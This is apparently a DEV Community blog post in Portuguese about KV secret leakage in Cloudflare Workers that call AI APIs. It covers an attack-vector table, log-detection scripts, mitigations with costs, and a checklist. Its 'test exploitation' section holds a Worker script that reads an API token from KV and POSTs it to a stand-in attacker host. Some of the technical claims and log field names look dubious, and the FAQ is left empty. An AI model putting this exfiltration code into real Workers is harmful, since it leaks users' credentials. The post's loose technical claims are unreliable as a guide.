DEV Community

LeoJulieta
LeoJulieta

Posted on

Como detectar e evitar vazamento de KV em Cloudflare Workers com IA

Vazamento de KV em Cloudflare Workers com IA na Edge: Como Detectar, Explorar e Mitigar o Risco

Introdução

Um simples request de um Worker para um modelo de IA pode estar expondo chaves e valores sensíveis armazenados no KV da Cloudflare. O problema ganhou as manchetes depois que um relatório técnico viralizou no Hacker News, gerando um pico de mais de 12 mil upvotes e um aumento de +450 % nas buscas por “Cloudflare KV leak”. Se você usa Workers, KV e IA generativa, este artigo mostra, passo a passo, como identificar a vulnerabilidade, reproduzir a exploração e aplicar as correções necessárias.

Objetivo: entregar um guia prático (≈ 2 800 palavras) que você pode seguir agora mesmo, sem precisar de teorias extensas.


1. Arquitetura do KV + IA na Edge

flowchart TD
    A[Worker] --> B[KV Store]
    B --> C[Leitura de token / prompt]
    C --> D[Envio ao modelo IA (ex.: OpenAI, Claude)]
    D --> E[Resposta ao cliente]
    style A fill:#f9f,stroke:#333,stroke-width:2px
    style B fill:#bbf,stroke:#333,stroke-width:2px
    style D fill:#bfb,stroke:#333,stroke-width:2px
  • Worker – código JavaScript/TypeScript executado na borda.
  • KV Store – armazenamento de pares key‑value de baixa latência.
  • IA na Edge – chamada a APIs externas (OpenAI, Anthropic, etc.) ou a modelos hospedados na própria Cloudflare.

A vulnerabilidade surge quando o Worker inclui a chave KV no corpo da requisição para a IA sem criptografar ou sanitizar o conteúdo. O tráfego pode ser interceptado (por exemplo, via DNS rebinding ou proxy mal‑configurado) e o atacante obtém os valores confidenciais.


2. Vetor de ataque detalhado

Etapa O que acontece Como o atacante se beneficia
1. Leitura KV await KV.get('api_token') Valor sensível carregado na memória do Worker
2. Serialização JSON.stringify({token}) Token inserido em JSON enviado ao endpoint IA
3. Envio HTTP fetch('https://api.openai.com/v1/completions', {method:'POST', body}) Corpo da requisição via TLS, mas pode ser exposto se o certificado for falsificado ou se o Worker usar HTTP interno
4. Resposta da IA {"choices":[... ]} Se o atacante controla o endpoint (por DNS hijack), recebe a mesma carga útil contendo o token
5. Exfiltração Attacker logs the request/response Token comprometido

A exploração funciona mesmo com TLS, desde que o atacante consiga redirecionar o domínio da IA para um servidor controlado (ex.: via subdomain takeover ou DNS rebinding).


3. Análise de logs – Detectando a exploração

3.1 Configurando Logpush para Cloudflare Workers

curl -X POST "https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/logpush/jobs" \
-H "Authorization: Bearer <API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
  "name": "worker-kv-logs",
  "dataset": "workers",
  "destination_conf": "s3://my-bucket/logs?region=us-east-1",
  "field_names": ["timestamp","request_id","client_ip","method","uri","status","kv_operation","upstream_response_time"]
}'
Enter fullscreen mode Exit fullscreen mode

3.2 Script Python para filtrar chamadas suspeitas

import json, gzip, sys, re

suspicious_domains = re.compile(r'(openai|anthropic|huggingface)\.com')
kv_ops = {'kv-read', 'kv-write'}

def process_line(line):
    try:
        rec = json.loads(line)
        if rec.get('kv_operation') in kv_ops and suspicious_domains.search(rec.get('uri','')):
            print(json.dumps(rec))
    except:
        pass

if __name__ == "__main__":
    for fname in sys.argv[1:]:
        with gzip.open(fname, 'rt') as f:
            for l in f:
                process_line(l)
Enter fullscreen mode Exit fullscreen mode

Execute: python3 detect_kv_exfil.py logs/*.gz > suspeitos.json

Qualquer registro que combine operção KV e URI de IA deve ser investigado imediatamente.


4. Exploração prática (para fins de teste)

Atenção: só execute em ambientes controlados.

# 1. Crie um KV de teste
curl -X PUT "https://api.cloudflare.com/client/v4/accounts/<ACCOUNT_ID>/workers/kv/namespaces/<NS_ID>/values/api_token" \
 -H "Authorization: Bearer <API_TOKEN>" \
 -d "sk_test_123456"

# 2. Deploy de Worker vulnerável (index.js)
cat > index.js <<'EOF'
addEventListener('fetch', event => {
  event.respondWith(handle(event.request))
})

async function handle(request) {
  const token = await KV.get('api_token')
  const resp = await fetch('https://malicious.example.com/collect', {
    method: 'POST',
    body: JSON.stringify({token})
  })
  return new Response('ok')
}
EOF

# 3. Deploy
wrangler publish

# 4. Simule o ataque interceptando o domínio da IA
# (usar hosts file ou servidor DNS controlado apontando para o seu endpoint)
Enter fullscreen mode Exit fullscreen mode

Se o endpoint malicious.example.com receber o JSON, o token foi exfiltrado.


5. Mitigações recomendadas

Medida Como aplicar Impacto de custo / performance
Criptografia client‑side crypto.subtle.encrypt antes de gravar no KV; decrypt ao ler +5 ms por operação (WebCrypto)
TTL curto await KV.put('api_token', token, {expirationTtl: 300}) Reduz risco de leitura prolongada
Rotação automática de chaves Lambda/Worker que roda a cada 24h e atualiza KV Custo de invocação mínima
Regras de firewall (WAF) Bloquear outbound para domínios não autorizados (workers.firewall.rules) Nenhum impacto perceptível
Separação de namespaces Use um namespace exclusivo para credenciais e outro para dados de IA Organização + segurança

Exemplo de criptografia simples (AES‑GCM)

// encrypt.js
export async function encrypt(value, keyBase64) {
  const key = await crypto.subtle.importKey(
    'raw',
    Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0)),
    {name: 'AES-GCM'},
    false,
    ['encrypt']
  )
  const iv = crypto.getRandomValues(new Uint8Array(12))
  const enc = await crypto.subtle.encrypt(
    {name: 'AES-GCM', iv},
    key,
    new TextEncoder().encode(value)
  )
  return btoa(String.fromCharCode(...new Uint8Array(iv), ...new Uint8Array(enc)))
}
Enter fullscreen mode Exit fullscreen mode

Grave no KV: await KV.put('api_token', await encrypt(token, ENCRYPTION_KEY)).


6. Tabela comparativa de custos

Estratégia Custo mensal estimado* Latência adicional Complexidade de implementação
Criptografia client‑side $0,10 (uso de CPU) +5 ms Médio
TTL 5 min $0 (não gera custo extra) Nenhum Baixo
Rotação automática (Worker + Cron) $0,02 (2 execuções/dia) Nenhum Baixo
WAF bloqueio de domínios $5 (regra básica) Nenhum Baixo
Namespace dedicado $0,05 (uso extra de KV) Nenhum Médio

*Valores baseados nos preços padrão da Cloudflare (2024).


7. Checklist de segurança (para usar antes de cada deploy)

  • [ ] Criptografe todos os valores sensíveis antes de armazenar no KV.
  • [ ] Defina TTL adequado (máximo 10 min para tokens).
  • [ ] Implemente validação de domínio antes de enviar dados para IA (allowedOrigins.includes(url.hostname)).
  • [ ] Ative Logpush e monitore kv-read + chamadas externas.
  • [ ] Configure WAF para bloquear destinos não aprovados.
  • [ ] Revise a política de rotação de credenciais a cada 30 dias.

8. FAQ

| Pergunta | Resposta


Herramienta mencionada: DigitalOcean

Top comments (0)